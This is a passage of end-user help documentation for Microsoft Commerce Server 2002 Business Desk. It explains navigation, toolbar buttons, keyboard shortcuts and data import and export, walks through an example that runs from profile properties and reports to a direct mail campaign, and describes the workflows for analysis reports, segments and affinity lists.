  • The system administrator uses the Predictor resource in Commerce Server Manager to create model configurations. The system administrator uses model configurations to build Prediction and Segment models from data in the Data Warehouse.

    You can view Segment models in the Segment Viewer module in Business Desk. The system administrator uses the Prediction Model Viewer to view Prediction models.

Profiles: Profile Definition Designer module
  • The system administrator creates profile definitions using Commerce Server Manager, and adds data sources, data objects, and data members to expose the structure of the Commerce Server database to the profile definition.

    When you use Business Desk to add a profile property to a profile definition, you select the data member that maps the new profile property to the place in the Commerce Server database where the data collected by the profile property will be stored.

Security: Permissions module
  • The system administrator creates Windows accounts and assigns Business Desk users to these accounts. You can then use these accounts to assign Business Desk permissions to groups of users.
General system settings
  • The system administrator configures system settings, such as units of measure, currency options, payment options, and Web site registration and security options. You need to coordinate any changes to these options and settings with the system administrator.

See Also

Business Desk Modules and Categories

System Administrator Tasks

What to Do First

If You Need Additional Help


System Administrator Tasks

Your system administrator (and possibly your site developer) is responsible for configuring Commerce Server Business Desk to meet your business needs, and for ensuring that you have access to the data you need to analyze and update your Web site.

The system administrator configures and maintains Business Desk by using Commerce Server Manager. Commerce Server Manager is a Windows-based application, not a Web-based one; you cannot access it remotely.

The following table lists some of the tasks your system administrator performs to configure Commerce Server. If you have questions about these tasks or about other site functionality, contact your system administrator.

Category System administrator tasks
Analysis
  • If needed, assigns specific Microsoft SQL Server database roles to Business Desk users, allowing some users to read and save reports, while others can only read reports.
  • Imports site data to the Data Warehouse, so you can run reports.
  • Builds new Segment models, so you can perform segment analysis.
  • Builds new Prediction models, so you can export affinity lists to the List Manager module.
Campaigns
  • Determines when and how often advertising and discount campaign items are updated on your production site.
  • Provides the connection string and SQL query for you to generate lists directly from your SQL Server database.
Catalogs
  • Determines when and how often catalog updates are made to your production site.
  • Converts external catalogs to Extensible Markup Language (XML) or comma-separated values (CSV) file format, so you can import them.
  • Sets up BizTalk Server, so you can exchange catalogs and documents with trading partners.
  • Sets the following Commerce Server properties:
    • The language (locale) for the Web site (1031 = German, 1033 = English, 1034 = Spanish, 1036 = French, 1041 = Japanese).
    • The locale for formatting the base currency.
    • Alternate currency options to enable the display of two currencies simultaneously.
    • The unit of measure for weights for calculating product shipping costs (for example, kilograms or pounds).
    • BizTalk Server integration options, enabling you to send and receive catalogs from trading partners.
Orders
  • Defines the payment types supported by your site: credit card, account billing, or both.
Profiles
  • Adds profile definitions.
  • Adds data sources that control where profile data is stored.
  • Sets the following Commerce Server properties:
    • Site registration options that enable users to register at your site.
    • Address book options that enable your site to support an address book feature.
    • Login options that determine when users must log in to the site: login when they enter the site, login optional upon entering the site, require login at time of purchase, or login optional at any time.
    • The number of times users are prompted to type their user name and password before a message instructing them to call customer service is displayed.
Security
  • Adds Windows accounts, and then assigns Business Desk users to the accounts. You can then use Business Desk to assign specific permissions to each account.

See Also

Updating Your Web Site with Business Desk

Business Desk Modules and Categories

Business Desk Basics

What to Do First


Business Desk Basics

Because Commerce Server Business Desk is a Web-based application, in some ways it looks and works differently than other Microsoft applications that are PC-based, such as Microsoft Word and Microsoft Excel. For example, you navigate through Business Desk by choosing from options (modules) in a menu on the left side of your screen. This design is similar to that of many Web pages.

This section contains:

  • Navigating Business Desk
  • Using Toolbar Buttons
  • Importing and Exporting Data
  • Using Keyboard Shortcuts


Navigating Business Desk

Although each module in Commerce Server Business Desk has a unique function, all the modules have been designed with similar navigational features to help you find and sort information. After you have learned how to perform the basic tasks in one Business Desk module, you can apply that knowledge to other modules. This section describes the layout of Business Desk screens, and how to navigate from category to module to screen.

Navigation Pane

Content Pane

Toolbar Buttons

Navigation Pane

The left side of the Commerce Server Business Desk screen is called the navigation pane. You use this pane to select categories and open modules. When you click the name of a category, it expands and the module names appear in a list below the category. Click the category name again to collapse the module names back into the category.

The position of the arrow to the left of the category name indicates whether the category can be expanded or collapsed. A right-pointing arrow indicates that you can expand the list. An arrow pointed down indicates that the list is already expanded.

The following figure shows the navigation pane with the Orders category expanded to show the list of modules.

Business Desk navigation pane

Note

  • When you view properties for a listed item, the navigation pane disappears from view. For example, in the previous figure, if you viewed the properties for the Code 1 – Basket, a new screen would be displayed and the navigation pane would no longer appear. You use the Back and Save and go back toolbar buttons to return to the main screen that contains the navigation pane.

Content Pane

The right side of the Business Desk screen is called the content pane. You use the content pane to view site data and to edit information. When you click a module name in the navigation pane, the content pane is populated by a list that contains all the current information for the module.

For example, if you open the Orders category, and then click the Order Status Codes module name, the Order Status Codes screen appears in the content pane. In this screen, you can view, add, and delete the order status, country/region, and state/province data codes.

Two graphics are used on the content pane:

  • Required This graphic indicates that a box on the screen requires a value. You cannot save new content on the screen until you complete this box.
  • Multilingual This graphic indicates that a box is multilingual. You can enter values in more than one language. For more information, see Creating a Multilingual Catalog.

Toolbar Buttons

The toolbar appears across the top of the content pane and contains buttons that perform standard tasks. You click a toolbar button, for example, to add, copy, or delete an item. Each toolbar button shows a representational graphic for the action it runs. To see a description of that action, pause your mouse over a button before you click it. For a list of all the available toolbar buttons and a description of the functions that you can perform with them, see Using Toolbar Buttons.

Command buttons are labeled with the name of the command they run. You click command buttons to perform specific tasks in the content pane. For example, you click the Select All button to select all the items in a results list.

See Also

Using Toolbar Buttons

Using Keyboard Shortcuts

Using Business Desk Help


Using Toolbar Buttons

Each toolbar button is used to perform an action on any screen in Commerce Server Business Desk. Not all toolbar buttons are available on every screen. The following table lists the toolbar buttons in Business Desk and describes the function of each.

Toolbar button | Description
New | Adds a new item.
Open | Opens the selected item.
Copy | Copies the selected item to create a new item with similar properties.
View | Opens the selected item or items for editing.
Import | Imports a set of information.
Export | Exports a set of information.
Delete | Deletes the selected item or items.
Send | Sends a catalog to a trading partner through Microsoft BizTalk Server. This button is available only in the Catalog Editor module and is enabled only if BizTalk Server is installed.
Rebuild virtual catalog Rebuild | Rebuilds a virtual catalog. You must rebuild a virtual catalog after including a base catalog, categories, or products.
Refresh and publish | Updates the catalog full-text indexes and refreshes the caches. Publishes a catalog to a retail site. This button is available only in the Catalog Editor module.
Find | Opens the Find pane.
Archive | Saves the selected item in the Business Desk Archives.
Back | Closes the edit screen and returns you to the previous screen.
Cancel | Cancels the pending operation.
Find with Menu | Opens a drop-down list from which you can select one of several types of items on which to perform a find operation.
Help | Opens Business Desk Help for the current module. You can then view other Help topics.
Preview | Displays the selected report in the format in which it will be printed.
Print | Prints the selected report. This button is available only in the Analysis modules.
Restore | Restores a deleted campaign item. This button is available only in the Campaign Manager module.
Run | Runs the selected report. This button is available only in the Analysis modules.
Save | Saves the added or changed item or property.
Save and create new | Saves the added or changed item or property and opens a new page to create a new item.
Save and go back | Saves the added or changed item or property and returns to the main module screen.

See Also

Navigating Business Desk

Using Keyboard Shortcuts

Using Business Desk Help


Importing and Exporting Data

You use Commerce Server Business Desk to import and export catalogs, mailing lists, and lists of users. The following table describes the data that can be imported or exported.

Module Data imported or exported
Catalog Editor
  • Catalogs. You can import and export catalogs, in Extensible Markup Language (XML) or comma-separated values (CSV) format, to and from external sources. For information about importing and exporting catalogs, see Importing an XML Catalog File, Importing a CSV Catalog File, and Exporting a Catalog.
Catalog Definition Designer
  • Catalog properties. You use Catalog Definition Designer to specify which catalog properties are to be imported and stored in the Data Warehouse.

    After your system administrator imports the catalog properties to the Data Warehouse, you can run reports on them. For information about specifying which properties are to be exported to the Data Warehouse, see Adding a Catalog Property Definition.

List Manager
  • User lists and mailing lists. You can import and export static or dynamic user lists and mailing lists from the List Manager module. For information about importing and exporting lists, see Importing and Exporting Lists.
Profile Definition Designer
  • Profile properties. You use Profile Definition Designer to specify which profile properties are to be imported and stored in the Data Warehouse.

    After your system administrator imports the profile properties to the Data Warehouse, you can run reports on them. For information about specifying which profile properties are exported to the Data Warehouse, see Adding a New Property to a Profile Definition.

Reports
  • Dynamic reports. When you run a dynamic report, you can export the report to Microsoft Excel and save it as a spreadsheet.
  • Static reports. You can export static reports to List Manager. After you export a static report to List Manager, you can import the list into Direct Mailer for use in a direct mail campaign, if it contains e-mail addresses, or you can import the list into the Users module, if it contains user profile information, and update the profiles of the users in the list.
Affinity Lists
  • Product affinity lists. You can use the Affinity Lists module to export a list of users to the List Manager module, and then use the list, for example, to target a direct mail campaign.

See Also

Importing an XML Catalog File

Importing a CSV Catalog File

Exporting a Catalog

Importing and Exporting Lists

If You Need Additional Help


Using Keyboard Shortcuts

In Commerce Server Business Desk, you can use keyboard shortcuts to perform the same navigation and edit functions that you do by using a mouse. You can use these shortcuts to perform all the functions used in Business Desk.

This section describes the keyboard shortcuts and also provides some tips about using your keyboard to navigate in Business Desk.

Tabs

Table of Keyboard Shortcuts

Tabs

When you begin to tab through the Business Desk welcome screen, the tab focus is on the navigation pane. The current tab focus is indicated by a dotted line around the screen element.

When you tab out of the navigation pane, the tab focus goes to the toolbar and then to the content pane. When you tab onto a list of items, you must use the arrow keys to move within the list. Use the ENTER key or space bar to make your selection.

The following are some other keyboard shortcuts:

  • If you are selecting from a drop-down menu (a menu that includes a down arrow), use the arrow keys to indicate your selection and then press ENTER.
  • You can open drop-down menus by pressing the space bar.
  • If you need to use a button, press TAB until the button has the focus and then press ENTER.
  • If you want to tab back to an element, press SHIFT+TAB.

To open a Business Desk module

To access toolbar buttons using a keyboard

To open item properties using a keyboard

To open a Business Desk module

  1. In the navigation pane, tab to the category that contains the Business Desk module you want to work with, and then press ENTER.
  2. Tab to the name of the module you want to work with, and then press ENTER.

    The module you selected opens.

To access toolbar buttons by using a keyboard

  1. In the navigation pane, tab to the category that contains the items you want to add to or edit, and then press ENTER.
  2. Tab to the name of the module you want to work with, and then press ENTER.
  3. Tab to the toolbar button that you want to use, and then press ENTER.

    You can now make changes or additions using the toolbar function you opened.

  4. Press ALT+S to save your additions or changes.

Notes

  • If you tab into a box with a drop-down list, press ENTER to select from the drop-down list. Use the UP ARROW and DOWN ARROW keys to select an option, and then press ENTER.
  • If you need to go back one box, press SHIFT+TAB.

Some screen elements are assigned the same keyboard shortcut combinations. For example, the Orders module in the navigation pane and the Open toolbar button share ALT+O. In this case, the first time you press a keyboard shortcut combination you activate the first screen element, the second time you activate the next element, and so on.

To open item properties by using a keyboard

  1. In the navigation pane, tab to the category that contains the items you want to work with, and then press ENTER.
  2. Tab to the module you want to work with, and then press ENTER. The module you selected opens.
  3. Tab to the list of items in the content pane and then use the UP ARROW or DOWN ARROW keys to give the item focus.
  4. Press ENTER. The item is highlighted.
  5. Tab to Open on the toolbar and press ENTER.

    The properties for that item appear, enabling you to view them or make changes to them.

Table of Keyboard Shortcuts

Business Desk provides keyboard shortcuts for navigating without a mouse. The following table lists the keyboard shortcuts that are used frequently within Business Desk. You can also determine a keyboard shortcut for a toolbar button by pausing the mouse pointer over that button. This displays the ToolTip for that toolbar button.

Action | Shortcut
Open | ALT+O
Find | ALT+F
New | ALT+N
Save | ALT+S
Save and Back | ALT+K
Save and Create New | ALT+N
Delete | ALT+D
Copy | ALT+C
View Properties | ALT+V
Open Help | ALT+?
Back | ALT+B
Run Report | ALT+R
Export | ALT+E
Import | ALT+I
Close Business Desk | ALT+F4

See Also

Using Toolbar Buttons

Using Business Desk Help

Navigating Business Desk

If You Need Additional Help


What to Do First

Before using Commerce Server Business Desk, it is recommended that you read the Business Desk Overview. It describes the Business Desk application and the Business Desk client. Describes how Business Desk can be configured to meet your needs.

Before you can open your Web site for business, you or your site developer must use Business Desk to perform the following tasks:

  1. Create a catalog:
    • Import an XML catalog file

      OR

    • Create a catalog definition
    • Create a base catalog
    • Price a product in a base catalog
  2. Refreshing and publishing a catalog.
  3. Customize shipping methods. You must specify how Commerce Server should calculate the shipping costs: by the weight of the product, by the quantity the users purchase, or by the amount of the purchase subtotal.

After performing these steps, you can open your Web site for business. In addition, it is recommended that you perform the following steps so you are familiar with how Business Desk is configured for your site.

In Campaigns, perform the following task:

  • Set up your reference tables. The reference tables store industry codes, page groups, and content sizes. Commerce Server provides several popular industry codes and content sizes.

In Analysis, perform the following tasks:

  1. Review the existing reports to ensure they meet your needs. For a list of reports provided with Commerce Server, see Commerce Server 2002 Reports. If you need different reports, you can create custom reports or contact your site developer to create them. To create new reports, see Creating a New Dynamic Report Definition.
  2. Contact your system administrator to determine when data will be imported into the Data Warehouse. Before you can run a report, the system administrator must import the data into the Data Warehouse.
  3. Contact your system administrator to determine when Segment models will be built. Before you can view Segment models, your system administrator must build them.

In Users, perform the following tasks:

  1. Review the existing profile definitions to ensure they meet your needs. For a list of profile definitions provided with Commerce Server, see Sample Profile Definitions. To add profile definitions, contact your system administrator. To add properties to profile definitions, see Adding Properties to a Profile Definition.
  2. Review the existing site terms to ensure they meet your needs. To add site terms, see Creating a Site Term.


Common Tasks

After you make your site public, you might need to perform the following tasks frequently:

  • Resetting a User Password
  • Finding, Viewing, and Sorting Orders
  • Adding a Product to a Catalog
  • Pricing a Product in a Base Catalog
  • Creating a Discount
  • Discounting Product Prices in a Virtual Catalog
  • Targeting Ads
  • Running Reports
  • Exporting a Static Report
  • Adding an Organization Profile
  • Creating a Site Term


Example: Closing the Loop

You use Commerce Server Business Desk to analyze your business, and then use the results of that analysis to make your site more effective and relevant to your users. Users who find your site increasingly relevant, useful, and convenient will feel increased loyalty to your company and will return to your site more often. This "closed loop" functionality of collecting user data, analyzing the data, and then delivering information to users who meet your target criteria directly impacts your Web site business by converting browsers into buyers, and buyers into repeat users.

Commerce Server 2002 provides several ways for you to analyze site activity and then update your site. The following example procedures explain just one closed loop scenario: how to customize user profile data, analyze the user information, and then create a direct mail campaign to target those users that meet your target criteria.

Step 1: Add properties to a profile definition

Step 2: Publish profile changes on your Web site

Step 3: Add a user with a new profile

Step 4: Run a static report

Step 5: Export a static report to a list

Step 6: Create a direct mail campaign

Step 1: Add properties to a profile definition

You use the Profile Definition Designer module in Business Desk to specify which data you want to collect about your users. To specify which data you want to collect, you add properties to user profile definitions. For example, you can add a property such as "favorite color," use that property to identify users who like blue, and then target blue products to those users.

To add a new property to a user profile definition

  1. In Profiles, click Profile Definition Designer.
  2. In the Profiles screen, select the User Object profile definition, and then click Open on the toolbar.
  3. In the Profile screen, in the Properties list, select General information, and then click Add.
  4. In the Add dialog box, select the Add a new property option, and then click OK.
  5. In the Attributes section, do the following:
    Use this | To do this
    Name | Type the name for the property, such as FavoriteColor.
    Display name | Type a display name for the property, such as Favorite Color.
  6. In the Advanced Attributes section, do the following:
    Use this | To do this
    Active | Verify Yes is selected.
    Map to Data Click the ellipsis button […] to open the Data Source Picker dialog box.

    In the Data Source Picker dialog box, select ProfileService_SQLSource, select User Object, and then scroll down and select Custom Property 1.

    If you do not map the property to a data source, the property will not be available for editing in the User or Organizations modules.
  7. Click OK, and then click Apply.
  8. To save the property and return to the Profile Definition Designer screen, click Save and go back on the toolbar.

The new property is added to the profile definition. You can now publish the profile changes on your Web site.

Step 2: Publish profile changes on your Web site

After you add a property to a profile definition, you use the Publish Profiles module to publish your changes to your Web site.

To publish profile changes

  1. In Profiles, click Publish Profiles.
  2. In the Publish Profiles screen, select the site, and then click Publish profile changes to production and refresh the cache on the toolbar.

The profile changes are updated and are available on your Web site. You can now add a user with the new profile.

Step 3: Add a user with a new profile

You use the Users module to add user profile information for registered users. In this step, you enter the user profile information, including the Favorite Color property you added in Step 1.

To add a user with the new profile

  1. In Profiles, click Users.
  2. In the Registered User Management screen, click Add on the toolbar.
  3. In the New User screen, in the General information section, do the following:
    Use this | To do this
    Logon name | Type a logon name for the new user.
    User password | Type a password for the new user.
    Email | Type an e-mail address for the new user.
    Last name | Type a last name for the new user.
    First name | Type a first name for the new user.
    Favorite Color | Type the name of your favorite color, for example blue.
  4. To save the new user and return to the Users screen, click Save and go back

The user is added to the Commerce Server database. You can now target the user based on the profile information for the user.

Step 4: Run a static report

After your system administrator imports into the Data Warehouse the data that contains information about user and server activity, you use the Analysis modules to analyze your user data. Using the results of your analysis of reports, you can update your site to target ads or products to those users.

For example, you can run a Registered User Properties Report, analyze the information in the report, and then select those users you want to target a direct mail campaign to.

To run a static report

  1. In Analysis, click Reports.
  2. In the list of available reports, select Registered User Properties, and then click Run on the toolbar.
  3. In the Run a report dialog box, in the Site Name section, do the following:
    Use this | To do this
    Operand | From the drop-down list, select an operand (All, Equals, Not equal to, Like, Not Like) to determine for which site the report will run.
    Parameter value | Type the name of the site for which you want the report to run.
  4. In the Run a report dialog box, in the Number of users section, do the following:
    Use this | To do this
    Select From the drop-down list, select a parameter for the number of users to include in the report:
    • All. All users in the Commerce Server database who meet the query criteria.
    • Top. The upper limit on the number of users in the Commerce Server database who meet the query criteria. You type the number of top users in the Parameter value box.
    • Distinct. A particular user in the Commerce Server database who meets the query criteria.
    Parameter value | Type the number of top users that you want the report to return.
  5. Click OK.

The static report runs and, when completed, is available for viewing in the Completed Reports module. The report can now be exported as a list into List Manager, and then used to target users in a direct mail campaign.

Step 5: Export a static report to a list

Data from static reports can be used in direct mail campaigns. A direct mail campaign can be targeted toward specific users by using mailing lists that reside in List Manager.

To export a static report

  1. In Analysis, click Reports.
  2. In the Reports list, select the static report that contains the data you want to export, for example, Registered User Properties, and then click [image] on the toolbar.
  3. In the Run a report dialog box, in the Site Name section, do the following:
    Use this | To do this
    Operand | From the drop-down list, select an operand (All, Equals, Not equal to, Like, Not Like) to determine for which site the report will run.
    Parameter value | Type the name of the site for which you want the report to run.
  4. In the Run a report dialog box, in the Number of users section, do the following:
    Use this | To do this
    Select From the drop-down list, select a parameter for the number of users to include in the report:
    • All. All users in the Commerce Server database who meet the query criteria.
    • Top. The upper limit on the number of users in the Commerce Server database who meet the query criteria. You type the number of top users in the Parameter value box.
    • Distinct. A particular user in the Commerce Server database who meets the query criteria.
    Parameter value | Type the number of top users that you want the report to return.
  5. Click OK.
  6. In the Export report as a list dialog box, do the following:
    Use this | To do this
    Static | Verify that Static is selected.
    List Name | Type a unique name for the list.
  7. Click OK.

Your static report is exported to List Manager as a list. You can now use the list to build a direct mail campaign

Step 6: Create a direct mail campaign

Direct mail campaigns are a way to get users to view your ads. You use the Campaigns modules to create direct mail campaigns, which can be targeted toward specific users by using mailing lists that reside in List Manager. You can use these lists to run direct mail jobs in order to more successfully target your users.

The following procedure assumes you have already created a customer and a campaign.

To create a direct mail campaign

  1. In Campaigns, click Campaign Manager.
  2. In the Campaign Manager screen, select the campaign for which you want to create a direct mail campaign, click Add on the toolbar, and then select New Direct Mail Campaign from the drop-down list.
  3. In the Direct Mail Properties screen, in the Direct Mail Item section, do the following:
    Use this | To do this
    Direct Mail Name | Type a name for the direct mail job.
    Message From e-mail Address | Type the address from which the direct mail is being sent.
    Reply to address Type the address to which the recipient is to reply, if different from the default address.

    This box defaults to the address from which the direct mail is being sent.
    Message subject | Type the subject text for this direct mail job.
    File Path or URL Containing Message Body | Type the path of the file or the URL that you are using to display the direct mail message.
    Attachment Type the file path and name of the attachment being sent with the message.

    If no attachment is being sent, leave this box clear.
    Mailing list | Select the mailing list that this direct mail campaign will use, for example, Registered User Properties, from the drop-down list.
    Personalization Select Yes or No from the drop-down list:
    • Yes. Enables personalization for this direct mail campaign.
    • No. Disables personalization for this direct mail campaign.
    Mail Format Select the format for this mail.

    The options are:

    • Text. Formats the mail in ASCII format.
    • MHTML. Formats the mail in multilingual HTML.
    • MIME. Formats the mail with Multipurpose Internet Mail Extensions (MIME).
    Comments (not included in message) | Type any required comments that are pertinent to this direct mail job.
  4. To save the direct mail campaign and return to the Campaign Manager screen, click Save and go back on the toolbar.

The direct mail campaign is added to Campaign Manager and the mailing will be sent to users from the specified mailing list, closing the loop.


Using Business Desk Help

To access help from Commerce Server Business Desk, click Help. Help is displayed for any screen and any task for which you need assistance.

Business Desk offers both dialog box-level help and task help. Dialog box-level help describes the required entries in specific text boxes. Task help steps you through a specific task. Documentation written specifically for system administrators and site developers is also provided within Commerce Server 2002.

Printing Topics

Contents Tab

Index Tab

Search Tab

Glossary Terms

Printing Topics

  • Right-click the topic you want to print, and then click Print.
  • To print a pop-up topic, right-click inside the pop-up window, and then click Print.
  • To print all topics within a book, on the Contents tab, select the book. On the Help toolbar, click Options, click Print, and then click Print the selected heading and all subtopics.

    Note

    • Printing large illustrations could result in incomplete printing. If an illustration is very large, the right edge of the code or illustration might extend beyond the margin boundary and will not print.

Contents Tab

In the opening pane for Business Desk Help, click the Contents tab to view the table of contents for Business Desk Help. Click the name of any topic to view that topic or click the plus sign (+) to expand the topic. The topic appears on the right side of the Help window in the content pane.

To print the current topic or the current topic plus all the subtopics, click print. You can also click the Synchronization button to synchronize the table of contents with the content pane on the right. You will need to synchronize the table of contents with the content pane after you perform a search.

Index Tab

To view the online index for Business Desk, click the Index tab.

To search for a word in the index

  1. In the Business Desk Documentation window, click the Index tab.
  2. In the Type in the keyword to find box, enter a keyword or phrase on which to search. The index automatically displays the closest word match contained in the index.
  3. If you find a match, click Display. A Topics Found box appears listing the topics in which the word appears.
  4. To find the information you want, select the topic, and then click Display. The topic appears in the content pane.

Search Tab

To search for specific keywords or phrases within Business Desk Help, click the Search tab.

To search for a keyword or phrase

  1. In the Business Desk Documentation window, click the Search tab.
  2. In the Search for box, enter a keyword or phrase on which to search, and then click Search. The results list appears in the content pane.

    You can use the Select type of search box to select a specific kind of search. By default, it searches for the exact phrase you type. You can select one of the following search types:

    Type of Search | Description
    Exact Phrase | Searches for the exact sequence of the words you type. For example, if you type Business Desk, the search returns only those topics that contain "Business Desk."
    Standard Search | Searches for all forms of the words you type. For example, if you type Business Desk, the search returns all topics that have "business" and topics that have "desk."
  3. To display the topic you want to view, click the topic title.

The topic is displayed in the content pane.

Glossary Terms

When a Business Desk Help topic appears in the content pane, you might see some words highlighted in green, for example, Commerce Server Business Desk. You can click the highlighted word or words to display a definition for the term. You can also find an alphabetical listing of these terms at the end of the Business Desk table of contents under Glossary.


If You Need Additional Help

If you need additional help using or customizing Commerce Server Business Desk to meet your needs, contact either your system administrator or site developer. The following table lists the tasks performed by each person.

Contact To do this
System administrator
  • Create a shared folder for you to use when importing and exporting catalogs
  • Convert external catalogs to Extensible Markup Language (XML) or comma-separated values (CSV) files, so you can import them
  • Set up trading partners, so you can send and exchange catalogs with them using BizTalk Server
  • Import data into the Data Warehouse, so you can run reports
  • Build Segment models, so you can view them using Segment Viewer
  • Add new profile definitions and data sources, so you can collect additional profile data
  • Secure Business Desk modules
  • Schedule direct mail jobs
  • Troubleshoot Business Desk
  • Troubleshoot the Web site environment
Site developer
  • Integrate your Web site with existing systems
  • Customize Business Desk functionality
  • Add new modules to Business Desk
  • Add related-sell functionality to your site, such as cross-sell and up-sell items
  • Ad-enable a Web page, so you can target page groups
  • Create custom reports
  • Extend the Data Warehouse


Business Desk Analysis

You use the Analysis modules to analyze data about user activity on your site. You can analyze specific information about registered users, and also analyze user behavior during visits to your site, including how much time they spent on a particular page, or which links they clicked.

You can run reports to review the data and to view population segments. The information provided in these reports and segments can help you make informed decisions about pricing, marketing, advertising, and other aspects of your business.

Before you run analysis reports or view segments to analyze user activity on your Web site, your system administrator must install Microsoft Commerce Server 2002. Additionally, the system administrator must import Web usage and transaction data into the Data Warehouse, and run the Report Preparation process.

This section contains:

  • Workflow for Reports Management. Illustrates the workflow for running, changing, and managing reports.
  • Workflow for Segment Analysis. Illustrates the workflow for viewing and managing segments and Segment models in the Segment Viewer module in Commerce Server Business Desk.
  • Workflow for Affinity Lists. Illustrates the workflow for creating affinity lists.
  • About Dynamic and Static Reports. Describes the components of Business Desk Analysis, how to secure reports, and explains the properties of a report. Provides an overview of the different types of report definitions.
  • About Segments. Describes what segments and segment groups are in relation to users on your Web site, and describes the Segment Viewer module and how you can use it to analyze activity on your site.
  • About Affinity Lists. Explains what affinity lists are and how to create them.
  • Commerce Server 2002 Reports. Describes the reports and the report properties provided with Commerce Server 2002.
  • Clickstream Analysis. Explains how to use Commerce Server 2002 reports for clickstream analysis.
  • Before You Analyze Commerce Server Data. Explains the steps required to run Commerce Server 2002 analytical functions.
  • Finding Reports. Explains how to find a report in the Reports list.
  • Running Reports. Explains how to run dynamic and static reports.
  • Viewing Dynamic Reports. Explains how to view completed dynamic reports and how to use the drillthrough feature.
  • Viewing Static Reports. Explains how to open and view static reports in the Completed Reports module.
  • Printing Reports. Explains how to print dynamic and static reports from the browser window.
  • Exporting a Dynamic Report. Explains how to export a dynamic report to Microsoft Excel.
  • Exporting a Static Report. Explains how to export a static report as a list to the List Manager module in Business Desk.
  • Creating a New Dynamic Report Definition. Explains how to create a new dynamic report definition.
  • Customizing Reports. Explains how to customize static or dynamic reports.
  • Deleting Reports. Explains how to delete custom dynamic report definitions and completed static reports.
  • Viewing Report Properties. Explains how to view report properties.
  • Analyzing Population Segments. Explains how to open a Segment model, view a segment or a segment group, compare two segments or segment groups, and export segment data to a list.
  • Creating Affinity Lists. Explains how to create and export affinity lists.


Workflow for Reports Management

The following figure illustrates a sample scenario for running, changing, and managing reports. This scenario assumes that your system administrator has granted you the necessary permissions to run reports and to access the Data Warehouse databases.

Workflow diagram for reports management

Sample Scenario for Running Dynamic Reports

  1. In the Reports module, you run dynamic reports to analyze the effectiveness of your Web site and find out sales and Web usage data. For example, the Campaign Event Summary report can help you review the effectiveness of ad campaigns you place on your site.
  2. In the Reports module, view a default dynamic report such as the Product Sales report.
  3. In the browser window, modify an existing dynamic report definition by changing the date range or by adding more data to the report. You can also use the PivotTable list to add dimensions and measures to the existing report.
  4. In the browser window, save the modified dynamic report as a new report definition.
  5. In the Reports module, run the new dynamic report definition on a weekly basis or as often as necessary.

Sample Scenario for Creating New Dynamic Report Definitions

  1. In the Reports module, run a customized dynamic report with data that you specify by using OLAP cubes or SQL Server queries. For example, you want to find out how many visitors used your site on a specific holiday, so you use the Web usage cube and the holiday date to analyze visits for that day.
  2. In the browser window, click New Report.
  3. In the New Dynamic Report dialog box, select a new cube or a SQL Server query for the new report, and click OK. You organize the layout of your report by using the PivotTable list.
  4. In the browser window, save the new dynamic report definition. You can also use an existing dynamic report, such as the General Activity Statistics report, and save it as a new report with your added customization.
  5. In the Reports module, run the new dynamic report to see the newly defined data.

Sample Scenario for Running Static Reports

  1. In the Reports module, run a static report such as the New Registered Users report. (When you click Run the Run a report dialog box appears.)
  2. Change the definitions in the Run a report dialog box to your specific needs. For example, in the New Registered Users report, you can specify all users, top users, or distinct users.
  3. In the Completed Reports module, open the static report and view it in a browser window. The report appears with the information you specified (for example, top 100 users). You can print the report if necessary.

Sample Scenario for Exporting Static Reports

Export static report as list workflow

  1. In the Reports module, export a static report as a list.
  2. In the Run a report dialog box, change the definitions to meet your specific needs. For example, in the New Registered Users report, you can specify all users, top users, or distinct users.
  3. In the Export Report as a List dialog box, select static or dynamic and name your list.
  4. In the List Manager module, you can use a direct mail campaign to send a welcome message or a new member discount letter to the new registered users.

See Also

Exporting a Static Report

Securing Reports

User Lists and Mailing Lists

Importing and Exporting Lists


Workflow for Segment Analysis

The following figure illustrates a sample scenario for viewing and managing segments and Segment models by using the Segment Viewer module.

Segment Viewer workflow

Sample Scenario for Viewing and Analyzing Segments

  1. In the Segment Viewer module, select a Segment model to view and analyze.
  2. Analyze the selected segment or segment group to determine its defining characteristics and the characteristics that contrast the selected segment or group with other segments or groups in the model. Analyze these characteristics by viewing the summary information for each, and then comparing it with the information for other segments or segment groups.
  3. If necessary, rename the segment or segment group to reflect its summary and comparison characteristics.
  4. Create a summary report in Internet Explorer and then print the report.
  5. Export a segment to the List Manager module in Commerce Server Business Desk to create a list of the users in the segment for further analysis and management.

See Also

About Segments


Workflow for Affinity Lists

The following figure illustrates a sample scenario for viewing and managing affinity lists.

Affinity List workflow

  1. Your system administrator builds prediction models in Commerce Server Manager.
  2. In the Affinity Lists module in Commerce Server Business Desk, you select a prediction model on which to base your affinity list.
  3. You then name your affinity list, select the product SKU (or select one through the catalog browser), and select the minimal likelihood for a user to belong to that list.
  4. Export the affinity list, which contains user e-mail addresses, to the List Manager module in Business Desk.
  5. Use the Campaign Manager module to create a direct mail campaign from this list to target users who are likely to buy a specific product.


About Dynamic and Static Reports

You use Analysis to run reports on the user and site data stored in your Data Warehouse, and you use the results of those reports to perform business analytics to discover more about how customers and potential customers use your Web site. For example, you can run reports that show you the characteristics and past behavior of your users, and then update your site to target advertisements or products to users that match a specific profile.

In the Analysis Reports module, you can also run multicurrency reports for sites that can be based on several different currencies. For example, your sites might have transactions that occur in several currencies. When you run reports, you determine if you want the report to run for one specific site or for all sites.

Before you can run any reports, your system administrator must import your site data into your Data Warehouse. This data comes from Web log files, Commerce Server databases, and other data sources. After the data is imported, you can analyze it by running reports from Business Desk. Your system administrator uses the Commerce Server Data Transformation Services (DTS) tasks to import the data. For more information, see Before You Analyze Commerce Server Data.

For more information about using scripted DTS tasks, see Scripting DTS Tasks. For more information about running DTS tasks, see Running the Data Warehouse.

This section contains:

  • Features of Dynamic and Static Reports
  • Dynamic Reports
  • Drillthrough Reports
  • Static Reports
  • Using Reports Across Domains
  • Report Definitions
  • Dimensions and Measures
  • PivotTables
  • PivotTable Field List
  • Collapsed Dimensions
  • PivotCharts
  • Securing Reports

For conceptual information about how data is stored and mined, see Data Warehouse and Prediction and Data Mining Concepts.

See Also

Reports Accessing OLAP Cubes and SQL Server

Scripts for Securing Databases Accessed by Reports


Features of Dynamic and Static Reports

The following table lists the differences between static and dynamic reports.

Feature | Dynamic report | Static report
Control size of report results | You control the size of report results by not displaying detailed data. | You control the size of report results by limiting the number of rows in the report definition.
Change the contents of the report | You use the PivotTable feature to add and remove dimensions and measures from the report results, specify filters, and expand or collapse dimension levels. | The system administrator modifies static reports programmatically. For instructions about modifying static reports, see Creating Custom Reports in Commerce Server 2002 Help.
Export report results directly to List Manager | You cannot export the results of a dynamic report to List Manager. | You can export a static report to List Manager as either a dynamic or static list.
